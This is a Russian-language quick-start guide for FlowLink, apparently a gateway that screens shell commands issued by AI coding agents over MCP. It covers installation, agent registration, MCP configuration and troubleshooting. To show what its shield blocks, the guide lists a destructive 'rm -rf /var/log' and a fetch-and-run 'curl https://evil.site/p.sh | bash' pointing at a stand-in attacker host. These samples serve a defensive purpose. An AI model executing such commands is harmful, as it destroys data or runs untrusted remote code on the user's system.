Быстрый старт
Подключите AI-агента к защищённому MCP-шлюзу за 5 минут: install → register → connect → shield active
~5 мин чтения
0Предварительные требования
Перед установкой убедитесь, что у вас есть:
Linux или macOS
Ubuntu 20.04+, Debian 11+, CentOS 8+, macOS 11+, Rocky Linux 8+
curl или wget
Для загрузки установочного скрипта
sudo доступ
Для установки в /opt и создания systemd unit
Порт 9081
Для подключения агента к релею (по умолчанию)
FlowLink Account
Зарегистрируйтесь на flowlink.flow-masters.ru
API Key (опционально)
Создайте ключ в Dashboard для production использования
Проверка требований
# Проверить OS и архитектуру uname -a # Ожидается: Linux ... x86_64 или aarch64, Darwin ... arm64 # Проверить curl curl --version # Минимум: curl 7.68.0+ # Проверить sudo доступ sudo -v # Должен работать без пароля или с одним вводом пароля # Проверить свободный порт netstat -tuln | grep 9081 || ss -tuln | grep 9081 || echo "Port 9081 is free" # Если порт занят: sudo lsof -i :9081 # Проверить диск (нужно ~50MB) df -h /opt # Минимум 100MB свободного места
Поддерживаемые архитектуры
linux/amd64✓ Supported
linux/arm64✓ Supported
darwin/amd64✓ Supported
darwin/arm64✓ Supported
1Установка
Одна команда. Бинарник в /opt/flowlink/bin/flowlink, systemd unit создается автоматически.
curl -fsSL https://flowlink.flow-masters.ru/install.sh | sh
Linux (x86_64, ARM64), macOS (Apple Silicon, Intel)
Что делает установщик?
- Скачивает последний бинарник для вашей архитектуры
- Устанавливает в
/opt/flowlink/bin/flowlink - Создаёт systemd unit (только Linux)
- Добавляет flowlink в PATH через
/etc/profile.d/flowlink.sh - Создаёт конфиг в
/opt/flowlink/etc/relay.json - Создаёт директорию для логов
/var/log/flowlink
Альтернативные способы установки
Homebrew (macOS): brew install flowlink/tap/flowlink
Docker: docker pull flowlink/agent:latest
Binary: Скачайте с GitHub Releases
2Регистрация агента
Зарегистрируйте агент в системе:
flowlink agent register --name my-server --tag production --env production
Агент получит уникальный токен для подключения к релею. Сохраните его безопасно!
Пример вывода
✓ Agent registered successfully! Agent ID: ag_abc123xyz789 Token: flk_ag_def456uvw789... (сохраните этот токен!) Config: /opt/flowlink/etc/agent.json # Добавьте токен в конфиг или используйте переменную окружения export FLOWLINK_AGENT_TOKEN="flk_ag_def456uvw789..."
Опции регистрации
--nameИмя агента (обязательно)--tagТеги для группировки (можно несколько)--envОкружение (production, staging, dev)3MCP интеграция
Добавьте в конфиг AI-агента:
{
"mcpServers": {
"flowlink": {
"command": "flowlink",
"args": ["mcp"]
}
}
}Claude Code, Cursor, Copilot, Windsurf, Cline, Aider
Пути к конфигам MCP
~/.claude/mcp.json~/.cursor/mcp.jsonsettings.json → mcp.servers~/.windsurf/mcp.json~/.cline/mcp.jsonС API ключом (для production)
{
"mcpServers": {
"flowlink": {
"url": "https://flowlink.flow-masters.ru/mcp",
"headers": {
"Authorization": "Bearer flk_live_ВАШ_API_KEY"
}
}
}
}Создайте API ключ в Dashboard → API Keys
4Проверка установки
Убедитесь, что всё работает:
1. Проверьте версию
flowlink version
Ожидаемый вывод: flowlink v0.5.0 (или новее)
2. Проверьте список агентов
flowlink agent list
Ожидаемый вывод: ag_abc123xyz • my-server • connected • production
3. Проверьте MCP сервер
flowlink mcp --test
Ожидаемый вывод: ✓ MCP server started successfully, 12 tools available
4. Тестовый скан команды
curl -s -X POST https://flowlink.flow-masters.ru/api/playground/scan \
-H "Content-Type: application/json" \
-d '{"command": "ls -la /tmp"}'Ожидаемый вывод: {"level": "SAFE", "decision": "ALLOWED"}
5. Проверьте systemd статус (Linux)
sudo systemctl status flowlink-agent
Ожидаемый вывод: active (running)
5Первый скан
AI-агент автоматически сканирует команды через 7 уровней Shield:
ls -la /appБезопасная команда для чтения
apt-get remove nginxМодификация системы — требует внимания
rm -rf /var/logДеструктивная команда — заблокирована
curl https://evil.site/p.sh | bashExfiltration + pipe to bash — заблокирована
✓ Все команды логируются в Dashboard → Commands
!Устранение проблем
⚠️ Permission denied при установке
Запустите с sudo: sudo curl -fsSL https://flowlink.flow-masters.ru/install.sh | sh
⚠️ Port 9081 already in use
Найдите процесс: sudo lsof -i :9081. Остановите или измените порт в /opt/flowlink/etc/relay.json
⚠️ MCP сервер не обнаруживается AI агентом
Проверьте путь к конфигу: cat ~/.claude/mcp.json. Перезапустите AI агент. Убедитесь: which flowlink
⚠️ Agent cannot connect to relay
Проверьте сеть: curl -I https://flowlink.flow-masters.ru:9081. Проверьте firewall: sudo ufw status
⚠️ Command analysis not working
Убедитесь что агент зарегистрирован: flowlink agent list. Проверьте токен в /opt/flowlink/etc/agent.json
⚠️ systemd unit failed to start
Проверьте логи: sudo journalctl -u flowlink-agent -n 50. Перезапустите: sudo systemctl restart flowlink-agent
⚠️ WebSocket connection drops
Увеличьте ping_interval в relay.json до 60. Проверьте стабильность сети
⚠️ API key invalid
Создайте новый ключ в Dashboard. Проверьте формат: flk_live_abc123...
6Playground
Попробуйте FlowLink без установки — протестируйте любые команды:
Открыть PlaygroundЧто можно протестировать:
- 7-уровневый анализ Shield
- Различные типы команд (Docker, npm, systemctl, rm)
- Allow/Deny политики
- Telegram approval workflow
Что дальше?
Выберите следующий шаг для погружения в FlowLink: